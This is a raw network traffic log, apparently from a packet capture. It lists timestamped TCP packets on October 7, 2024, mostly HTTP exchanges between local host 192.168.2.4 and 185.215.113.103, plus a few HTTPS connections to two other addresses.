Oct 7, 2024 03:23:18.951620102 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:18.951632023 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:18.951639891 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:18.951642036 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:18.951653957 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:18.951663971 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:18.951669931 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:18.951674938 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:18.951677084 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:18.951689959 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:18.951702118 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:18.951711893 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:18.951713085 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:18.951725006 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:18.951731920 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:18.951738119 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:18.951766968 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:18.952296019 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:18.952306032 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:18.952315092 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:18.952337980 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:18.952347994 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:18.952353954 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:18.952364922 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:18.952374935 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:18.952385902 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:18.952399969 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:18.952429056 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:18.952451944 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:18.952462912 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:18.952474117 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:18.952485085 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:18.952491045 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:18.952497959 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:18.952510118 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:18.952512980 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:18.952538013 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:18.952550888 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:18.953164101 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:18.953207970 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:18.953210115 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:18.953222036 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:18.953247070 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:18.953257084 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:18.953275919 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:18.953286886 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:18.953303099 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:18.953313112 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:18.953315020 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:18.953325033 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:18.953331947 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:18.953337908 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:18.953351021 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:18.953355074 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:18.953365088 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:18.953375101 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:18.953377008 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:18.953388929 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:18.953416109 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:18.992789030 CEST	49885	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:18.992814064 CEST	443	49885	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:18.992839098 CEST	49885	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:18.992854118 CEST	443	49885	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:18.994390965 CEST	49883	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:18.994390965 CEST	49883	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:18.994435072 CEST	443	49883	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:18.994457960 CEST	443	49883	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:18.997944117 CEST	49890	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:18.997972965 CEST	443	49890	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:18.998086929 CEST	49890	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:18.998231888 CEST	49891	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:18.998271942 CEST	443	49891	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:18.998383045 CEST	49891	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:18.998490095 CEST	49890	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:18.998517036 CEST	443	49890	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:18.998545885 CEST	49891	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:18.998564005 CEST	443	49891	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:19.037372112 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.037383080 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.037394047 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.037456989 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.037473917 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.037478924 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.037487030 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.037509918 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.037513018 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.037522078 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.037537098 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.037543058 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.037564039 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.037564993 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.037575960 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.037611008 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.037614107 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.037651062 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.037695885 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.037708044 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.037725925 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.037749052 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.037776947 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.037805080 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.037859917 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.037872076 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.037883043 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.037894964 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.037910938 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.037921906 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.037941933 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.078145981 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.078174114 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.078185081 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.078197002 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.078203917 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.078219891 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.078229904 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.078263998 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.078274012 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.078284025 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.078294039 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.078305960 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.078329086 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.078488111 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.078504086 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.078515053 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.078526020 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.078530073 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.078536987 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.078536987 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.078548908 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.078558922 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.078568935 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.078577042 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.078579903 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.078591108 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.078598022 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.078608036 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.078629971 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.078790903 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.078802109 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.078820944 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.078831911 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.078843117 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.078850985 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.078871012 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.078897953 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.078918934 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.078996897 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.079008102 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.079034090 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.079042912 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.079086065 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.079097033 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.079108000 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.079118967 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.079123020 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.079130888 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.079145908 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.079155922 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.079173088 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.079185009 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.079195023 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.079217911 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.079241991 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.079354048 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.079374075 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.079394102 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.079430103 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.079479933 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.079490900 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.079502106 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.079511881 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.079518080 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.079519987 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.079541922 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.079550028 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.079621077 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.079689980 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.079699993 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.079729080 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.079760075 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.079775095 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.079786062 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.079797983 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.079807997 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.079824924 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.079839945 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.079919100 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.079931974 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.079941988 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.079968929 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.079982042 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.079992056 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.079993010 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.080003977 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.080015898 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.080022097 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.080035925 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.080041885 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.080060959 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.080077887 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.080089092 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.080099106 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.080171108 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.080171108 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.080179930 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.080190897 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.080202103 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.080213070 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.080223083 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.080225945 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.080234051 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.080257893 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.080276012 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.083000898 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.083070040 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.083081961 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.083084106 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.083122015 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.083158970 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.083168983 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.083178997 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.083204985 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.083214045 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.083301067 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.083311081 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.083321095 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.083331108 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.083342075 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.083342075 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.083345890 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.083364964 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.083369970 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.083381891 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.083398104 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.083400965 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.083406925 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.083415031 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.083415031 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.083429098 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.083441019 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.083611965 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.083621979 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.083633900 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.083664894 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.083682060 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.083703995 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.083714008 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.083725929 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.083735943 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.083753109 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.083775997 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.083873034 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.083883047 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.083894014 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.083920002 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.083926916 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.083934069 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.083945036 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.083956003 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.083975077 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.083992958 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.084002972 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.084012985 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.084014893 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.084048986 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.084065914 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.084235907 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.084245920 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.084255934 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.084265947 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.084279060 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.084305048 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.125922918 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.125967979 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.125979900 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.125997066 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.126018047 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.126023054 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.126030922 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.126039982 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.126046896 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.126049995 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.126080990 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.126099110 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.126099110 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.126111031 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.126121044 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.126133919 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.126146078 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.126157999 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.126158953 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.126166105 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.126171112 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.126180887 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.126209021 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.126249075 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.126260042 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.126269102 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.126281023 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.126288891 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.126292944 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.126310110 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.126312971 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.126322031 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.126348972 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.126348972 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.126367092 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.126368999 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.126952887 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.132581949 CEST	49893	443	192.168.2.4	184.28.90.27
Oct 7, 2024 03:23:19.132636070 CEST	443	49893	184.28.90.27	192.168.2.4
Oct 7, 2024 03:23:19.133311033 CEST	49893	443	192.168.2.4	184.28.90.27
Oct 7, 2024 03:23:19.134502888 CEST	49893	443	192.168.2.4	184.28.90.27
Oct 7, 2024 03:23:19.134535074 CEST	443	49893	184.28.90.27	192.168.2.4
Oct 7, 2024 03:23:19.166766882 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.166776896 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.166788101 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.166809082 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.166827917 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.166831017 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.166838884 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.166850090 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.166861057 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.166867971 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.166872978 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.166887045 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.166909933 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.167007923 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.167062044 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.167071104 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.167087078 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.167088985 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.167100906 CEST	80	49879	185.215.113.103	192.168.2.4
